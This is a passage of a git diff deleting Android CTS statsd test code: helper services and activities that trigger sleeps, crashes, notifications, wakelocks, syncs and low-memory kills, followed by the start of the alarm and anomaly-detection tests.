-    public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-
-    static {
-        System.loadLibrary("lmkhelper");
-    }
-
-    public StatsdCtsBackgroundService() {
-        super(StatsdCtsBackgroundService.class.getName());
-    }
-
-    @Override
-    public void onHandleIntent(Intent intent) {
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from background service.");
-
-        switch (action) {
-            case ACTION_BACKGROUND_SLEEP:
-                AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
-                break;
-            case ACTION_END_IMMEDIATELY:
-                break;
-            case ACTION_LMK:
-                new Thread(this::cmain).start();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action");
-        }
-    }
-
-    /**
-     *  Keep allocating memory until the process is killed by LMKD.
-     **/
-    public native void cmain();
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
deleted file mode 100644
index c8c02fc..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationChannelGroup;
-import android.app.NotificationManager;
-import android.app.usage.NetworkStatsManager;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.Color;
-import android.graphics.Point;
-import android.net.ConnectivityManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.Gravity;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.WindowManager;
-
-/** An activity (to be run as a foreground process) which performs one of a number of actions. */
-public class StatsdCtsForegroundActivity extends Activity {
-    private static final String TAG = StatsdCtsForegroundActivity.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-    public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
-    public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
-    public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
-    public static final String ACTION_CRASH = "action.crash";
-    public static final String ACTION_CREATE_CHANNEL_GROUP = "action.create_channel_group";
-    public static final String ACTION_POLL_NETWORK_STATS = "action.poll_network_stats";
-
-    public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
-    public static final int SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY = 2_000;
-    public static final int LONG_SLEEP_WHILE_TOP = 60_000;
-
-    @Override
-    public void onCreate(Bundle bundle) {
-        super.onCreate(bundle);
-
-        Intent intent = this.getIntent();
-        if (intent == null) {
-            Log.e(TAG, "Intent was null.");
-            finish();
-        }
-
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from foreground activity.");
-
-        switch (action) {
-            case ACTION_END_IMMEDIATELY:
-                finish();
-                break;
-            case ACTION_SLEEP_WHILE_TOP:
-                doSleepWhileTop(SLEEP_OF_ACTION_SLEEP_WHILE_TOP);
-                break;
-            case ACTION_LONG_SLEEP_WHILE_TOP:
-                doSleepWhileTop(LONG_SLEEP_WHILE_TOP);
-                break;
-            case ACTION_SHOW_APPLICATION_OVERLAY:
-                doShowApplicationOverlay();
-                break;
-            case ACTION_SHOW_NOTIFICATION:
-                doShowNotification();
-                break;
-            case ACTION_CRASH:
-                doCrash();
-                break;
-            case ACTION_CREATE_CHANNEL_GROUP:
-                doCreateChannelGroup();
-                break;
-            case ACTION_POLL_NETWORK_STATS:
-                doPollNetworkStats();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action " + action);
-                finish();
-        }
-    }
-
-    /** Does nothing, but asynchronously. */
-    private void doSleepWhileTop(int sleepTime) {
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                AtomTests.sleep(sleepTime);
-                return null;
-            }
-
-            @Override
-            protected void onPostExecute(Void nothing) {
-                finish();
-            }
-        }.execute();
-    }
-
-    private void doShowApplicationOverlay() {
-        // Adapted from BatteryStatsBgVsFgActions.java.
-        final WindowManager wm = getSystemService(WindowManager.class);
-        Point size = new Point();
-        wm.getDefaultDisplay().getSize(size);
-
-        WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
-                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
-                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
-                        | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
-        wmlp.width = size.x / 4;
-        wmlp.height = size.y / 4;
-        wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
-        wmlp.setTitle(getPackageName());
-
-        ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
-                ViewGroup.LayoutParams.MATCH_PARENT,
-                ViewGroup.LayoutParams.MATCH_PARENT);
-
-        View v = new View(this);
-        v.setBackgroundColor(Color.GREEN);
-        v.setLayoutParams(vglp);
-        wm.addView(v, wmlp);
-
-        // The overlay continues long after the finish. The following is just to end the activity.
-        AtomTests.sleep(SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY);
-        finish();
-    }
-
-    private void doShowNotification() {
-        final int notificationId = R.layout.activity_main;
-        final String notificationChannelId = "StatsdCtsChannel";
-
-        NotificationManager nm = getSystemService(NotificationManager.class);
-        NotificationChannel channel = new NotificationChannel(notificationChannelId, "Statsd Cts",
-                NotificationManager.IMPORTANCE_DEFAULT);
-        channel.setDescription("Statsd Cts Channel");
-        nm.createNotificationChannel(channel);
-
-        nm.notify(
-                notificationId,
-                new Notification.Builder(this, notificationChannelId)
-                        .setSmallIcon(android.R.drawable.stat_notify_chat)
-                        .setContentTitle("StatsdCts")
-                        .setContentText("StatsdCts")
-                        .build());
-        nm.cancel(notificationId);
-        finish();
-    }
-
-    private void doCreateChannelGroup() {
-        NotificationManager nm = getSystemService(NotificationManager.class);
-        NotificationChannelGroup channelGroup = new NotificationChannelGroup("StatsdCtsGroup",
-                "Statsd Cts Group");
-        channelGroup.setDescription("StatsdCtsGroup Description");
-        nm.createNotificationChannelGroup(channelGroup);
-        finish();
-    }
-
-    // Trigger force poll on NetworkStatsService to make sure the service get most updated network
-    // stats from lower layer on subsequent verifications.
-    private void doPollNetworkStats() {
-        final NetworkStatsManager nsm =
-                (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
-
-        // While the flag of force polling is the only important thing needed when making binder
-        // call to service, the type, parameters and returned result of the query here do not
-        // matter.
-        try {
-            nsm.setPollForce(true);
-            nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
-                    Long.MAX_VALUE);
-        } catch (RemoteException e) {
-            Log.e(TAG, "doPollNetworkStats failed with " + e);
-        } finally {
-            finish();
-        }
-    }
-
-    @SuppressWarnings("ConstantOverflow")
-    private void doCrash() {
-        Log.e(TAG, "About to crash the app with 1/0 " + (long) 1 / 0);
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
deleted file mode 100644
index ab46f5f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Process;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-public class StatsdCtsForegroundService extends Service {
-    private static final String TAG = "SimpleForegroundService";
-    private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
-
-    // TODO: pass this in from host side.
-    public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-    private Looper mServiceLooper;
-    private ServiceHandler mServiceHandler;
-    private boolean mChannelCreated;
-
-    private final class ServiceHandler extends Handler {
-        public ServiceHandler(Looper looper) {
-            super(looper);
-        }
-
-        @Override
-        public void handleMessage(Message msg) {
-            Log.i(TAG, "Handling message.");
-            // Sleep.
-            try {
-                Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE);
-            } catch (InterruptedException e) {
-                // Restore interrupt status.
-                Thread.currentThread().interrupt();
-            }
-            Log.i(TAG, "Stopping service.");
-            // Stop the service using the startId, so that we don't stop
-            // the service in the middle of handling another job
-            stopSelf(msg.arg1);
-        }
-    }
-
-    @Override
-    public void onCreate() {
-        // Start up the thread running the service.  Note that we create a
-        // separate thread because the service normally runs in the process's
-        // main thread, which we don't want to block.  We also make it
-        // background priority so CPU-intensive work will not disrupt our UI.
-        HandlerThread thread = new HandlerThread("ServiceStartArguments",
-                Process.THREAD_PRIORITY_BACKGROUND);
-        thread.start();
-
-        // Get the HandlerThread's Looper and use it for our Handler
-        mServiceLooper = thread.getLooper();
-        mServiceHandler = new ServiceHandler(mServiceLooper);
-
-        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
-            return;
-        }
-        // OMR1 requires notification channel to be set
-        NotificationManager notificationManager =
-                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
-        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                NOTIFICATION_CHANNEL_ID,
-                NotificationManager.IMPORTANCE_HIGH);
-        notificationManager.createNotificationChannel(channel);
-        mChannelCreated = true;
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                .setContentTitle("CTS Foreground")
-                .setSmallIcon(android.R.drawable.ic_secure)
-                .build();
-        Log.i(TAG, "Starting Foreground.");
-        startForeground(1, notification);
-
-        Message msg = mServiceHandler.obtainMessage();
-        msg.arg1 = startId;
-        mServiceHandler.sendMessage(msg);
-
-        return START_NOT_STICKY;
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-
-    @Override
-    public void onDestroy () {
-        if (mChannelCreated) {
-            NotificationManager notificationManager =
-                    (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
-            notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
deleted file mode 100644
index d81040f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdJobService.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.TargetApi;
-import android.app.job.JobInfo;
-import android.app.job.JobParameters;
-import android.app.job.JobScheduler;
-import android.app.job.JobService;
-import android.content.Context;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Handles callback from the framework {@link android.app.job.JobScheduler}.
- * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
- */
-@TargetApi(21)
-public class StatsdJobService extends JobService {
-  private static final String TAG = "AtomTestsJobService";
-
-  JobInfo mRunningJobInfo;
-  JobParameters mRunningParams;
-
-  private static final Object sLock = new Object();
-
-  @GuardedBy("sLock")
-  private static CountDownLatch sLatch;
-
-  final Handler mHandler = new Handler();
-  final Runnable mWorker = new Runnable() {
-    @Override public void run() {
-      try {
-        Thread.sleep(500);
-      } catch (InterruptedException e) {
-      }
-
-      jobFinished(mRunningParams, false);
-
-      synchronized (sLock) {
-        if (sLatch != null) {
-          sLatch.countDown();
-        }
-      }
-    }
-  };
-
-  public static synchronized CountDownLatch resetCountDownLatch() {
-    synchronized (sLock) {
-      if (sLatch == null || sLatch.getCount() == 0) {
-        sLatch = new CountDownLatch(1);
-      }
-    }
-    return sLatch;
-  }
-
-  @Override
-  public boolean onStartJob(JobParameters params) {
-    mRunningParams = params;
-    mHandler.post(mWorker);
-    return true;
-  }
-
-  @Override
-  public boolean onStopJob(JobParameters params) {
-    return false;
-  }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
deleted file mode 100644
index bd652b2..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdProvider.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-
-/**
- * Provider for the sync test.
- */
-public class StatsdProvider extends ContentProvider {
-    public static final String AUTHORITY = "com.android.server.cts.device.statsd.provider";
-
-    @Override
-    public boolean onCreate() {
-        return false;
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
-        return null;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        return null;
-    }
-
-    @Override
-    public Uri insert(Uri uri, ContentValues values) {
-        return null;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-        return 0;
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
deleted file mode 100644
index 6968307..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncAdapter.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.Account;
-import android.content.AbstractThreadedSyncAdapter;
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.SyncResult;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-
-import org.junit.Assert;
-
-import java.util.concurrent.CountDownLatch;
-
-import javax.annotation.concurrent.GuardedBy;
-
-/**
- * Sync adapter for the sync test.
- */
-public class StatsdSyncAdapter extends AbstractThreadedSyncAdapter {
-    private static final String TAG = "AtomTestsSyncAdapter";
-
-    private static final int TIMEOUT_SECONDS = 60 * 2;
-
-    private static CountDownLatch sLatch;
-
-    private static final Object sLock = new Object();
-
-
-    public StatsdSyncAdapter(Context context) {
-        // No need for auto-initialization because we set isSyncable in the test anyway.
-        super(context, /* autoInitialize= */ false);
-    }
-
-    @Override
-    public void onPerformSync(Account account, Bundle extras, String authority,
-            ContentProviderClient provider, SyncResult syncResult) {
-        try {
-            Thread.sleep(500);
-        } catch (InterruptedException e) {
-        }
-        synchronized (sLock) {
-            Log.i(TAG, "onPerformSync");
-            if (sLatch != null) {
-                sLatch.countDown();
-            } else {
-                Log.w(TAG, "sLatch is null, resetCountDownLatch probably should have been called");
-            }
-        }
-    }
-
-    /**
-     * Request a sync on the given account, and wait for it.
-     */
-    public static void requestSync(Account account) throws Exception {
-        final Bundle extras = new Bundle();
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
-        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
-
-        ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
-    }
-
-    public static CountDownLatch resetCountDownLatch() {
-        synchronized (sLock) {
-            if (sLatch == null || sLatch.getCount() == 0) {
-                sLatch = new CountDownLatch(1);
-            }
-        }
-        return sLatch;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
deleted file mode 100644
index ab06c6f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdSyncService.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
-
-/**
- * Service for the sync test.
- */
-public class StatsdSyncService extends Service {
-
-    private static StatsdSyncAdapter sAdapter;
-
-    @Override
-    public synchronized IBinder onBind(Intent intent) {
-        if (sAdapter == null) {
-            sAdapter = new StatsdSyncAdapter(getApplicationContext());
-        }
-        return sAdapter.getSyncAdapterBinder();
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
deleted file mode 100644
index ea1fcec..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/VideoPlayerActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
-import android.widget.VideoView;
-
-public class VideoPlayerActivity extends Activity {
-    private static final String TAG = VideoPlayerActivity.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_PLAY_VIDEO = "action.play_video";
-    public static final String ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE =
-            "action.play_video_picture_in_picture_mode";
-
-    public static final int DELAY_MILLIS = 2000;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Intent intent = this.getIntent();
-        if (intent == null) {
-            Log.e(TAG, "Intent was null.");
-            finish();
-        }
-
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from foreground activity.");
-
-        switch (action) {
-            case ACTION_PLAY_VIDEO:
-                playVideo();
-                break;
-            case ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE:
-                playVideo();
-                this.enterPictureInPictureMode();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action " + action);
-                finish();
-        }
-        delay();
-    }
-
-    private void playVideo() {
-        setContentView(R.layout.activity_main);
-        VideoView videoView = (VideoView)findViewById(R.id.video_player_view);
-        videoView.setVideoPath("android.resource://" + getPackageName() + "/" + R.raw.colors_video);
-        videoView.start();
-    }
-
-    private void delay() {
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                SystemClock.sleep(DELAY_MILLIS);
-                return null;
-            }
-            @Override
-            protected void onPostExecute(Void nothing) {
-                finish();
-            }
-        }.execute();
-    }
-}
-
-
-
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
deleted file mode 100644
index 1a3d32a..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.content.Context;
-import android.os.PowerManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.CountDownLatch;
-
-public class WakelockLoadTestRunnable implements Runnable {
-    String tag;
-    CountDownLatch latch;
-    WakelockLoadTestRunnable(String t, CountDownLatch l) {
-        tag = t;
-        latch = l;
-    }
-    @Override
-    public void run() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, tag);
-        long sleepTimeNs = 700_000;
-
-        for (int i = 0; i < 1000; i++) {
-            wl.acquire();
-            long startTime = System.nanoTime();
-            while (System.nanoTime() - startTime < sleepTimeNs) {}
-            wl.release();
-            startTime = System.nanoTime();
-            while (System.nanoTime() - startTime < sleepTimeNs) {}
-        }
-        latch.countDown();
-    }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
deleted file mode 100644
index 032297e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alarm;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alarm;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AlarmTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.AnomalyDetectionTests";
-
-    private static final boolean INCIDENTD_TESTS_ENABLED = false;
-
-    // Config constants
-    private static final int ALARM_ID = 11;
-    private static final int SUBSCRIPTION_ID_INCIDENTD = 41;
-    private static final int INCIDENTD_SECTION = -1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!INCIDENTD_TESTS_ENABLED) {
-            CLog.w(TAG, TAG + " alarm tests are disabled by a flag. Change flag to true to run");
-        }
-    }
-
-    public void testAlarm() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig();
-        turnScreenOn();
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        Thread.sleep(9_000);
-
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-
-    private final StatsdConfig.Builder getBaseConfig() throws Exception {
-      return createConfigBuilder()
-          .addAlarm(Alarm.newBuilder().setId(ALARM_ID).setOffsetMillis(2).setPeriodMillis(
-              5_000) // every 5 seconds.
-              )
-          .addSubscription(Subscription.newBuilder()
-                               .setId(SUBSCRIPTION_ID_INCIDENTD)
-                               .setRuleType(Subscription.RuleType.ALARM)
-                               .setRuleId(ALARM_ID)
-                               .setIncidentdDetails(
-                                   IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
deleted file mode 100644
index d6c1107..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ /dev/null
@@ -1,471 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.alert;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.Alert;
-import com.android.internal.os.StatsdConfigProto.CountMetric;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.IncidentdDetails;
-import com.android.internal.os.StatsdConfigProto.PerfettoDetails;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.KernelWakelock;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil.CLog;
-import java.util.List;
-
-/**
- * Statsd Anomaly Detection tests.
- */
-public class AnomalyDetectionTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.AnomalyDetectionTests";
-
-    private static final boolean INCIDENTD_TESTS_ENABLED = false;
-    private static final boolean PERFETTO_TESTS_ENABLED = true;
-
